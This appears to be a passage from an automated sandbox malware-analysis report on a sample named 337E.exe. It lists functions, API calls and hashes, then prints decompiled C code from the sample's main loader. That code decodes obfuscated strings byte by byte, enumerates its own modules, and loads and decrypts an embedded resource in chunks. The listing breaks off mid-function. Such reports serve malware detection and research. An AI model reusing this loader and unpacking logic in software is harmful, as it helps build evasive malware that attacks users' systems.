_write_multi_char.LIBCMTD ref: 00418FA2
__mbtowc_l.LIBCMTD ref: 00419011

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$__get_printf_count_output__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 4168457693-0
Opcode ID: 9c5978a382d83b4193e038c9cf55bb35087d216300485c5485e4b912982cd2f0
Instruction ID: 32e31495f0fabe40c9d4ee77a52b46e7a7623a54868da8b7bd4bb4bcbecb13be
Opcode Fuzzy Hash: 9c5978a382d83b4193e038c9cf55bb35087d216300485c5485e4b912982cd2f0
Instruction Fuzzy Hash: 54A160B0A002299BDB24CF55CC95BEEB7B4AB48304F14419EE6196B281DB785EC4CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 004173F5, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 004173F9
_write_multi_char.LIBCMTD ref: 00417BCE
_write_string.LIBCMTD ref: 00417BE9
_write_multi_char.LIBCMTD ref: 00417C15

Strings

-, xrefs: 00417B6E

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$_get_int_arg_write_string
String ID: -
API String ID: 3433125407-2547889144
Opcode ID: bbc34790f26c1c9bd1d250ed8d433410b1ab314b02a596132070320bfe451121
Instruction ID: b9788dd935b330c76e19451035c29a3aedc076283e327d613208cf042a2cc0cc
Opcode Fuzzy Hash: bbc34790f26c1c9bd1d250ed8d433410b1ab314b02a596132070320bfe451121
Instruction Fuzzy Hash: B1A16AB4D052289BDB24CF54CC89BEEB7B1BB48305F1481DAE5096B291E7789EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00417877, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004178D8
__aullrem.LIBCMT ref: 00417AA5
__aulldiv.LIBCMT ref: 00417AC7

Strings

9, xrefs: 00417AD8
', xrefs: 00417877
0, xrefs: 00417893

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 4150a5d2318a6268ac28cd2114f486a6f674f08a453a6b597ce592890c994f88
Instruction ID: 6157e41fccff69f66440aa8415dfcf555854fe9b76e74fe465e03aeac8005c40
Opcode Fuzzy Hash: 4150a5d2318a6268ac28cd2114f486a6f674f08a453a6b597ce592890c994f88
Instruction Fuzzy Hash: F741D3B1D19229DFEB24CF58C889BEEB7B5BF44304F14859AD049A7241C7389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0041BEF3, Relevance: 10.6, APIs: 7, Instructions: 89fileCOMMON

Download Yara Rule

APIs

ReadConsoleOutputCharacterA.KERNEL32(00000000,?,00000000,?,?), ref: 0041BF3D
CopyFileW.KERNEL32(00423C48,00423C28,00000000,?,?), ref: 0041BF85
DeleteFileA.KERNEL32(00423C60), ref: 0041BF90
GetPriorityClass.KERNEL32(00000000), ref: 0041BFAA
ResetEvent.KERNEL32(00000000), ref: 0041BFB2
GetPrivateProfileStringA.KERNEL32(00423CC8,00423CAC,00423C8C,?,00000000,00423C78), ref: 0041BFE6
WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041C01A

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: File$CharacterClassConsoleCopyDeleteEventOutputPriorityPrivateProfileReadResetStringWrite
String ID:
API String ID: 1347116440-0
Opcode ID: 9bae5d3715d89779753178fc92291465526d8ea821bbc10a5285382ba68f51ae
Instruction ID: 7b290888b653ccf52cd89ac5e10d30df0c8f77618f6f98debad43c4bdd78deb0
Opcode Fuzzy Hash: 9bae5d3715d89779753178fc92291465526d8ea821bbc10a5285382ba68f51ae
Instruction Fuzzy Hash: 35316DB0E44218AFCB14DF95DD85BEEBBB4FB48705F10846AE509A3280C7785A85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041BF00, Relevance: 10.6, APIs: 7, Instructions: 85fileCOMMON

Download Yara Rule

APIs

ReadConsoleOutputCharacterA.KERNEL32(00000000,?,00000000,?,?), ref: 0041BF3D
CopyFileW.KERNEL32(00423C48,00423C28,00000000,?,?), ref: 0041BF85
DeleteFileA.KERNEL32(00423C60), ref: 0041BF90
GetPriorityClass.KERNEL32(00000000), ref: 0041BFAA
ResetEvent.KERNEL32(00000000), ref: 0041BFB2
GetPrivateProfileStringA.KERNEL32(00423CC8,00423CAC,00423C8C,?,00000000,00423C78), ref: 0041BFE6
WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041C01A

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: File$CharacterClassConsoleCopyDeleteEventOutputPriorityPrivateProfileReadResetStringWrite
String ID:
API String ID: 1347116440-0
Opcode ID: 2f0fe2086eabf5de02d0aa743b2b3f57f5ab11d2117ac8a64af84123cbffbaef
Instruction ID: fd36c328f67cb5f9925d37db6493f2e9093c736a679087d38435d3b5c082712d
Opcode Fuzzy Hash: 2f0fe2086eabf5de02d0aa743b2b3f57f5ab11d2117ac8a64af84123cbffbaef
Instruction Fuzzy Hash: D5316DB0E44218EBCB14DF95DC85BEEBBB4FB48705F10846AE509A2280C7785A81CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00418744, Relevance: 9.2, APIs: 6, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00418748
_write_multi_char.LIBCMTD ref: 00418F5B
_write_string.LIBCMTD ref: 00418F76
_write_multi_char.LIBCMTD ref: 00418FA2
__mbtowc_l.LIBCMTD ref: 00419011

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 4186970751-0
Opcode ID: 129d40ad4c22e0af6e4c100c1a75bbc968fd1860d27aafbbf8778a22f4a98faf
Instruction ID: b02d741d67bdb381c43a7db6e5a55ab957177ad2f802508afbb0eb4f5ba85ab5
Opcode Fuzzy Hash: 129d40ad4c22e0af6e4c100c1a75bbc968fd1860d27aafbbf8778a22f4a98faf
Instruction Fuzzy Hash: F7A15EB4900218DBDB24CF54CC91BEEB7B5BB48304F14819EE6196B281D7399EC4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00419D40, Relevance: 9.1, APIs: 6, Instructions: 76COMMON

Download Yara Rule

APIs

___initconout.LIBCMTD ref: 00419D64

Part of subcall function 0041A600: CreateFileA.KERNEL32(004237F4,40000000,00000003,00000000,00000003,00000000,00000000,?,00419D69), ref: 0041A619

GetConsoleOutputCP.KERNEL32(00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 00419DE9
WideCharToMultiByte.KERNEL32(00000000), ref: 00419DF0
WriteConsoleA.KERNEL32(00426FAC,00000000,?,?,00000000), ref: 00419E17

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: 294c4c10f1df6ab94d52c7cd418ead91fcb603e7149de7d97bc462a5b17e3d8a
Instruction ID: 7126e308859f0ce1c6b4050673f9ae1b9f77b39abb9b03bec9f7032c2852e028
Opcode Fuzzy Hash: 294c4c10f1df6ab94d52c7cd418ead91fcb603e7149de7d97bc462a5b17e3d8a
Instruction Fuzzy Hash: 66216B70A00204EEDF34DFA4ED55BEA3768AB08314F52423AE506862D4D7789D86CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00417864, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004178D8
__aullrem.LIBCMT ref: 00417AA5
__aulldiv.LIBCMT ref: 00417AC7

Strings

9, xrefs: 00417AD8
0, xrefs: 00417893

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 2677164a7a633ad5278894a5af18f2453237414b0685f578549036b929b8c00f
Instruction ID: 749149de6893be0996ffa82a407ef8fcfcf87c9a9517882edb44c7ec0defa180
Opcode Fuzzy Hash: 2677164a7a633ad5278894a5af18f2453237414b0685f578549036b929b8c00f
Instruction Fuzzy Hash: 4E41E3B1D19229DFEB24CF48C889BEEB7B5BF44304F14819AD049A7240C7385E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00418BE9, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00418C50
__aullrem.LIBCMT ref: 00418E20
__aulldiv.LIBCMT ref: 00418E42

Strings

9, xrefs: 00418E53
', xrefs: 00418BE9

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 119100b607e6e860e975bdd697021817804f96d02f9e89e45de345d87632f654
Instruction ID: e559e0408a3b22932721b0ec528d1a84c7ba86252a79e4a4260dce9935fc135c
Opcode Fuzzy Hash: 119100b607e6e860e975bdd697021817804f96d02f9e89e45de345d87632f654
Instruction Fuzzy Hash: 6B4107B1A102299FDB24CF48D841BEEB7B5FF95314F1040AAD148A7281DB385EC5CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00418BD6, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00418C50
__aullrem.LIBCMT ref: 00418E20
__aulldiv.LIBCMT ref: 00418E42

Strings

9, xrefs: 00418E53

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 1afb4bcd2a8b64571e68dff2a419f8c9857849ae7964f0c51f12d53c58e3c790
Instruction ID: 57268965537ffc1b451240c3272641330304945dbf991aa7e7390610e71dc2f2
Opcode Fuzzy Hash: 1afb4bcd2a8b64571e68dff2a419f8c9857849ae7964f0c51f12d53c58e3c790
Instruction Fuzzy Hash: 004106B1A102299FDB24CF48D841BEEB7B5BF95314F1040AAD148A7281DB785EC5CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00418C24, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00418C50
__aullrem.LIBCMT ref: 00418E20
__aulldiv.LIBCMT ref: 00418E42

Strings

9, xrefs: 00418E53

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 80741928692c1c13a241add8af3e7276a36b23652ebebd88ff625853cd04e422
Instruction ID: b86ace904b8c8cd4c6a9aae006ce7c0fd7c700a9001985852b78a569a7887de6
Opcode Fuzzy Hash: 80741928692c1c13a241add8af3e7276a36b23652ebebd88ff625853cd04e422
Instruction Fuzzy Hash: FB4106B1A102299FDB24CF48D881BEEB7B5FF95314F1041AAD148A7241CB385E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004178AC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004178D8
__aullrem.LIBCMT ref: 00417AA5
__aulldiv.LIBCMT ref: 00417AC7

Strings

9, xrefs: 00417AD8

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: fcc0469be70c3ebdbcf5e8b42b2624cbb20c901f6553e5eb1db8ec7caf864863
Instruction ID: 2ad69fe8d76282b9972324db738ce5965efdfc7bb6007689f683ea03d4e58ed0
Opcode Fuzzy Hash: fcc0469be70c3ebdbcf5e8b42b2624cbb20c901f6553e5eb1db8ec7caf864863
Instruction Fuzzy Hash: 1A41B2B1D19629DFEB24CF59C889BEEB7B5BF84304F1085AAE049A7240D7385E85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0041785B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004178D8
_get_int64_arg.LIBCMTD ref: 00417900
__aullrem.LIBCMT ref: 00417AA5
__aulldiv.LIBCMT ref: 00417AC7

Strings

9, xrefs: 00417AD8

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 58934d521564f8e3f2e1df2c86d583b88d190a7b5107e0bc4e4b0266ce7c2b61
Instruction ID: a3d8c0693805900b1787355dbe25ed8e36afd46147ff8ba80d61cc85b91ab823
Opcode Fuzzy Hash: 58934d521564f8e3f2e1df2c86d583b88d190a7b5107e0bc4e4b0266ce7c2b61
Instruction Fuzzy Hash: CE41C2B1D19229DFEB24CF58C889BEEB7B5BB44304F20859AE009A7240D7385E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00418BCD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00418C50
_get_int64_arg.LIBCMTD ref: 00418C78
__aullrem.LIBCMT ref: 00418E20
__aulldiv.LIBCMT ref: 00418E42

Strings

9, xrefs: 00418E53

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 9dc24f7897281b078b378462afffa43775681a2147b0b8603a23f75d7f37cb84
Instruction ID: 2b2bd0302c8411d54dd0866dc96e847b9e5f6a92f6f3b9847bc6ab2d8c1d53b2
Opcode Fuzzy Hash: 9dc24f7897281b078b378462afffa43775681a2147b0b8603a23f75d7f37cb84
Instruction Fuzzy Hash: 1E41F4B1A102299FDB24CF48D981BDEB7B5FF95314F1041AAE248A7241DB385EC1CF5A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 337E.exe PID: 2172 Parent PID: 3292 337E.exeCOMMON

Executed Functions

Function 004019F0, Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E004019F0(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t337;
				void* _t340;
				int _t341;
				CHAR* _t344;
				intOrPtr* _t349;
				int _t350;
				long _t352;
				signed int _t354;
				intOrPtr _t358;
				long _t359;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				_Unknown_base(*)()* _t367;
				int _t368;
				int _t369;
				int _t370;
				intOrPtr* _t376;
				int _t378;
				intOrPtr _t379;
				intOrPtr* _t381;
				int _t383;
				intOrPtr* _t384;
				int _t385;
				void* _t394;
				int _t396;
				int _t399;
				int _t402;
				int _t405;
				intOrPtr* _t407;
				int _t413;
				int _t415;
				void* _t421;
				int _t422;
				int _t424;
				intOrPtr* _t428;
				intOrPtr _t429;
				intOrPtr* _t431;
				int _t432;
				int _t435;
				intOrPtr* _t437;
				int _t438;
				intOrPtr* _t439;
				int _t440;
				int _t442;
				signed int _t448;
				signed int _t451;
				signed int _t452;
				int _t469;
				int _t471;
				int _t482;
				signed int _t486;
				intOrPtr* _t488;
				intOrPtr* _t490;
				intOrPtr* _t492;
				intOrPtr _t493;
				void* _t494;
				struct HRSRC__* _t497;
				void* _t514;
				int _t519;
				intOrPtr* _t520;
				void* _t524;
				void* _t525;
				struct HINSTANCE__* _t526;
				intOrPtr _t527;
				void* _t531;
				void* _t535;
				struct HRSRC__* _t536;
				intOrPtr* _t537;
				intOrPtr* _t539;
				int _t542;
				int _t543;
				intOrPtr* _t547;
				intOrPtr* _t548;
				intOrPtr* _t549;
				intOrPtr* _t550;
				void* _t551;
				intOrPtr _t552;
				int _t555;
				void* _t556;
				void* _t557;
				void* _t558;
				void* _t559;
				void* _t560;
				void* _t561;
				void* _t562;
				intOrPtr* _t563;
				void* _t564;
				void* _t565;
				void* _t566;
				void* _t567;

				_t567 = __eflags;
				_t494 = __edx;
				__imp__OleInitialize(0); // executed
				 *((char*)(_t556 + 0x18)) = 0xe0;
				 *((char*)(_t556 + 0x19)) = 0x3b;
				 *((char*)(_t556 + 0x1a)) = 0x8d;
				 *((char*)(_t556 + 0x1b)) = 0x2a;
				 *((char*)(_t556 + 0x1c)) = 0xa2;
				 *((char*)(_t556 + 0x1d)) = 0x2a;
				 *((char*)(_t556 + 0x1e)) = 0x2a;
				 *((char*)(_t556 + 0x1f)) = 0x41;
				 *((char*)(_t556 + 0x20)) = 0xd3;
				 *((char*)(_t556 + 0x21)) = 0x20;
				 *((char*)(_t556 + 0x22)) = 0x64;
				 *((char*)(_t556 + 0x23)) = 6;
				 *((char*)(_t556 + 0x24)) = 0x8a;
				 *((char*)(_t556 + 0x25)) = 0xf7;
				 *((char*)(_t556 + 0x26)) = 0x3d;
				 *((char*)(_t556 + 0x27)) = 0x9d;
				 *((char*)(_t556 + 0x28)) = 0xd9;
				 *((char*)(_t556 + 0x29)) = 0xee;
				 *((char*)(_t556 + 0x2a)) = 0x15;
				 *((char*)(_t556 + 0x2b)) = 0x68;
				 *((char*)(_t556 + 0x2c)) = 0xf4;
				 *((char*)(_t556 + 0x2d)) = 0x76;
				 *((char*)(_t556 + 0x2e)) = 0xb9;
				 *((char*)(_t556 + 0x2f)) = 0x34;
				 *((char*)(_t556 + 0x30)) = 0xbf;
				 *((char*)(_t556 + 0x31)) = 0x1e;
				 *((char*)(_t556 + 0x32)) = 0xe7;
				 *((char*)(_t556 + 0x33)) = 0x78;
				 *((char*)(_t556 + 0x34)) = 0x98;
				 *((char*)(_t556 + 0x35)) = 0xe9;
				 *((char*)(_t556 + 0x36)) = 0x6f;
				 *((char*)(_t556 + 0x37)) = 0xb4;
				 *((char*)(_t556 + 0x38)) = 0;
				_push(E00401650(_t556 + 0x14, _t556 + 0x114));
				_t337 = E0040B99E(0, _t494, _t524, _t535, _t567);
				_t557 = _t556 + 0xc;
				if(_t337 == 0x41b2a0) {
					L80:
					__eflags = 0;
					return 0;
				} else {
					_t340 = CreateToolhelp32Snapshot(8, GetCurrentProcessId()); // executed
					_t525 = _t340;
					 *((intOrPtr*)(_t557 + 0x280)) = 0x224;
					 *((char*)(_t557 + 0x64)) = 0xce;
					 *((char*)(_t557 + 0x65)) = 0x27;
					 *((char*)(_t557 + 0x66)) = 0x9c;
					 *((char*)(_t557 + 0x67)) = 0x1a;
					 *((char*)(_t557 + 0x68)) = 0x95;
					 *((char*)(_t557 + 0x69)) = 0x2e;
					 *((char*)(_t557 + 0x6a)) = 0x22;
					 *((char*)(_t557 + 0x6b)) = 0x57;
					 *((char*)(_t557 + 0x6c)) = 0x91;
					 *((char*)(_t557 + 0x6d)) = 0x21;
					 *((char*)(_t557 + 0x6e)) = 0x57;
					 *((char*)(_t557 + 0x6f)) = 0x3a;
					 *((char*)(_t557 + 0x70)) = 0xf8;
					 *((char*)(_t557 + 0x71)) = 0x98;
					 *((char*)(_t557 + 0x72)) = 0x5b;
					 *((char*)(_t557 + 0x73)) = 0xf4;
					 *((char*)(_t557 + 0x74)) = 0xb5;
					 *((char*)(_t557 + 0x75)) = 0x87;
					 *((char*)(_t557 + 0x76)) = 0x7b;
					 *((char*)(_t557 + 0x77)) = 0xf;
					 *((char*)(_t557 + 0x78)) = 0xf4;
					 *((char*)(_t557 + 0x79)) = 0x76;
					 *((char*)(_t557 + 0x7a)) = 0xb9;
					 *((char*)(_t557 + 0x7b)) = 0x34;
					 *((char*)(_t557 + 0x7c)) = 0xbf;
					 *((char*)(_t557 + 0x7d)) = 0x1e;
					 *((char*)(_t557 + 0x7e)) = 0xe7;
					 *((char*)(_t557 + 0x7f)) = 0x78;
					 *((char*)(_t557 + 0x80)) = 0x98;
					 *((char*)(_t557 + 0x81)) = 0xe9;
					 *((char*)(_t557 + 0x82)) = 0x6f;
					 *((char*)(_t557 + 0x83)) = 0xb4;
					 *((char*)(_t557 + 0x84)) = 0;
					 *((char*)(_t557 + 0x18)) = 0xc0;
					 *((char*)(_t557 + 0x19)) = 0x38;
					 *((char*)(_t557 + 0x1a)) = 0x8d;
					 *((char*)(_t557 + 0x1b)) = 0x1f;
					 *((char*)(_t557 + 0x1c)) = 0x8e;
					 *((char*)(_t557 + 0x1d)) = 0x30;
					 *((char*)(_t557 + 0x1e)) = 0x65;
					 *((char*)(_t557 + 0x1f)) = 0x47;
					 *((char*)(_t557 + 0x20)) = 0xd3;
					 *((char*)(_t557 + 0x21)) = 0x29;
					 *((char*)(_t557 + 0x22)) = 0x3b;
					 *((char*)(_t557 + 0x23)) = 0x56;
					 *((char*)(_t557 + 0x24)) = 0xf8;
					 *((char*)(_t557 + 0x25)) = 0x98;
					 *((char*)(_t557 + 0x26)) = 0x5b;
					 *((char*)(_t557 + 0x27)) = 0xf4;
					 *((char*)(_t557 + 0x28)) = 0xb5;
					 *((char*)(_t557 + 0x29)) = 0x87;
					 *((char*)(_t557 + 0x2a)) = 0x7b;
					 *((char*)(_t557 + 0x2b)) = 0xf;
					 *((char*)(_t557 + 0x2c)) = 0xf4;
					 *((char*)(_t557 + 0x2d)) = 0x76;
					 *((char*)(_t557 + 0x2e)) = 0xb9;
					 *((char*)(_t557 + 0x2f)) = 0x34;
					 *((char*)(_t557 + 0x30)) = 0xbf;
					 *((char*)(_t557 + 0x31)) = 0x1e;
					 *((char*)(_t557 + 0x32)) = 0xe7;
					 *((char*)(_t557 + 0x33)) = 0x78;
					 *((char*)(_t557 + 0x34)) = 0x98;
					 *((char*)(_t557 + 0x35)) = 0xe9;
					 *((char*)(_t557 + 0x36)) = 0x6f;
					 *((char*)(_t557 + 0x37)) = 0xb4;
					 *((char*)(_t557 + 0x38)) = 0;
					_t341 = Module32First(_t525, _t557 + 0x278); // executed
					if(_t341 == 0) {
						L38:
						FindCloseChangeNotification(_t525); // executed
						_t526 = GetModuleHandleA(0);
						 *((char*)(_t557 + 0x1c)) = 0xfc;
						 *((char*)(_t557 + 0x1d)) = 0xb;
						 *((char*)(_t557 + 0x1e)) = 0xff;
						 *((char*)(_t557 + 0x1f)) = 0x75;
						 *((char*)(_t557 + 0x20)) = 0xe7;
						 *((char*)(_t557 + 0x21)) = 0x44;
						 *((char*)(_t557 + 0x22)) = 0x4b;
						 *((char*)(_t557 + 0x23)) = 0x23;
						 *((char*)(_t557 + 0x24)) = 0xbf;
						 *((char*)(_t557 + 0x25)) = 0x45;
						 *((char*)(_t557 + 0x26)) = 0x3b;
						 *((char*)(_t557 + 0x27)) = 0x56;
						 *((char*)(_t557 + 0x28)) = 0xf8;
						 *((char*)(_t557 + 0x29)) = 0x98;
						 *((char*)(_t557 + 0x2a)) = 0x5b;
						 *((char*)(_t557 + 0x2b)) = 0xf4;
						 *((char*)(_t557 + 0x2c)) = 0xb5;
						 *((char*)(_t557 + 0x2d)) = 0x87;
						 *((char*)(_t557 + 0x2e)) = 0x7b;
						 *((char*)(_t557 + 0x2f)) = 0xf;
						 *((char*)(_t557 + 0x30)) = 0xf4;
						 *((char*)(_t557 + 0x31)) = 0x76;
						 *((char*)(_t557 + 0x32)) = 0xb9;
						 *((char*)(_t557 + 0x33)) = 0x34;
						 *((char*)(_t557 + 0x34)) = 0xbf;
						 *((char*)(_t557 + 0x35)) = 0x1e;
						 *((char*)(_t557 + 0x36)) = 0xe7;
						 *((char*)(_t557 + 0x37)) = 0x78;
						 *((char*)(_t557 + 0x38)) = 0x98;
						 *((char*)(_t557 + 0x39)) = 0xe9;
						 *((char*)(_t557 + 0x3a)) = 0x6f;
						 *((char*)(_t557 + 0x3b)) = 0xb4;
						 *((char*)(_t557 + 0x3c)) = 0;
						_t344 = E00401650(_t557 + 0x18, _t557 + 0x158);
						_t558 = _t557 + 8;
						_t536 = FindResourceA(_t526, _t344, 0xa);
						 *(_t558 + 0x50) = _t536;
						_t551 = LoadResource(_t526, _t536);
						 *((intOrPtr*)(_t558 + 0x44)) = LockResource(_t551);
						_t349 = E0040B84D(0, _t557 + 0x18, _t526, SizeofResource(_t526, _t536)); // executed
						_push(0x40022);
						_t537 = _t349; // executed
						_t350 = E0040AF66(0, _t526, __eflags); // executed
						_t559 = _t558 + 8;
						 *(_t559 + 0x34) = _t350;
						__eflags = _t350;
						if(_t350 == 0) {
							 *(_t559 + 0x50) = 0;
						} else {
							E0040BA30(_t526, _t350, 0, 0x40022);
							_t486 =  *(_t559 + 0x40);
							_t559 = _t559 + 0xc;
							 *(_t559 + 0x50) = _t486;
						}
						E00401300( *(_t559 + 0x50));
						_t497 =  *(_t559 + 0x48);
						_t352 = SizeofResource(_t526, _t497);
						 *(_t559 + 0x40) = _t352;
						asm("cdq");
						_t354 = _t352 + (_t497 & 0x000003ff) >> 0xa;
						__eflags = _t354;
						if(_t354 > 0) {
							_t519 =  *(_t559 + 0x3c);
							_t482 = _t537 - _t519;
							__eflags = _t482;
							 *(_t559 + 0x34) = _t519;
							 *(_t559 + 0x88) = _t482;
							 *(_t559 + 0x38) = _t354;
							do {
								_t424 =  *(_t559 + 0x34);
								_push( *(_t559 + 0x88) + _t424);
								_push(0x400);
								_push(_t424);
								E00401560(0,  *((intOrPtr*)(_t559 + 0x54)));
								 *(_t559 + 0x34) =  *(_t559 + 0x34) + 0x400;
								_t179 = _t559 + 0x38;
								 *_t179 =  *(_t559 + 0x38) - 1;
								__eflags =  *_t179;
							} while ( *_t179 != 0);
						}
						_t448 =  *(_t559 + 0x40) & 0x800003ff;
						__eflags = _t448;
						if(_t448 < 0) {
							_t448 = (_t448 - 0x00000001 | 0xfffffc00) + 1;
							__eflags = _t448;
						}
						__eflags = _t448;
						if(_t448 > 0) {
							_t421 =  *(_t559 + 0x40) - _t448;
							_push(_t421 + _t537);
							_push(_t448);
							_t422 = _t421 +  *((intOrPtr*)(_t559 + 0x44));
							__eflags = _t422;
							_push(_t422);
							E00401560(0,  *((intOrPtr*)(_t559 + 0x58)));
						}
						E0040BA30(_t526,  *(_t559 + 0x3c), 0,  *(_t559 + 0x40));
						_t560 = _t559 + 0xc;
						FreeResource(_t551);
						_t552 =  *_t537;
						 *((intOrPtr*)(_t560 + 0x94)) = _t552;
						_t358 = E0040B84D(0,  *(_t559 + 0x40), _t526, _t552); // executed
						_t561 = _t560 + 4;
						 *((intOrPtr*)(_t561 + 0x40)) = _t358;
						_t359 = SizeofResource(_t526,  *(_t560 + 0x4c));
						_t527 =  *((intOrPtr*)(_t561 + 0x38));
						_t192 = _t537 + 4; // 0x4
						E0040AC60(_t527, _t561 + 0x98, _t192, _t359);
						E0040BA30(_t527, _t537, 0,  *((intOrPtr*)(_t561 + 0x50)));
						_t528 = _t527 + 0xe;
						 *((char*)(_t561 + 0x34)) = 0xce;
						 *((char*)(_t561 + 0x35)) = 0x27;
						 *((char*)(_t561 + 0x36)) = 0x9c;
						 *((char*)(_t561 + 0x37)) = 0x1a;
						 *((char*)(_t561 + 0x38)) = 0x95;
						 *((char*)(_t561 + 0x39)) = 0x21;
						 *((char*)(_t561 + 0x3a)) = 0x2e;
						 *((char*)(_t561 + 0x3b)) = 0xd;
						 *((char*)(_t561 + 0x3c)) = 0xdb;
						 *((char*)(_t561 + 0x3d)) = 0x29;
						 *((char*)(_t561 + 0x3e)) = 0x57;
						 *((char*)(_t561 + 0x3f)) = 0x56;
						 *((char*)(_t561 + 0x40)) = 0xf8;
						 *((char*)(_t561 + 0x41)) = 0x98;
						 *((char*)(_t561 + 0x42)) = 0x5b;
						 *((char*)(_t561 + 0x43)) = 0xf4;
						 *((char*)(_t561 + 0x44)) = 0xb5;
						 *((char*)(_t561 + 0x45)) = 0x87;
						 *((char*)(_t561 + 0x46)) = 0x7b;
						 *((char*)(_t561 + 0x47)) = 0xf;
						 *((char*)(_t561 + 0x48)) = 0xf4;
						 *((char*)(_t561 + 0x49)) = 0x76;
						 *((char*)(_t561 + 0x4a)) = 0xb9;
						 *((char*)(_t561 + 0x4b)) = 0x34;
						 *((char*)(_t561 + 0x4c)) = 0xbf;
						 *((char*)(_t561 + 0x4d)) = 0x1e;
						 *((char*)(_t561 + 0x4e)) = 0xe7;
						 *((char*)(_t561 + 0x4f)) = 0x78;
						 *((char*)(_t561 + 0x50)) = 0x98;
						 *((char*)(_t561 + 0x51)) = 0xe9;
						 *((char*)(_t561 + 0x52)) = 0x6f;
						 *((char*)(_t561 + 0x53)) = 0xb4;
						 *((char*)(_t561 + 0x54)) = 0;
						_t364 = E00401650(_t561 + 0x30, _t561 + 0x110);
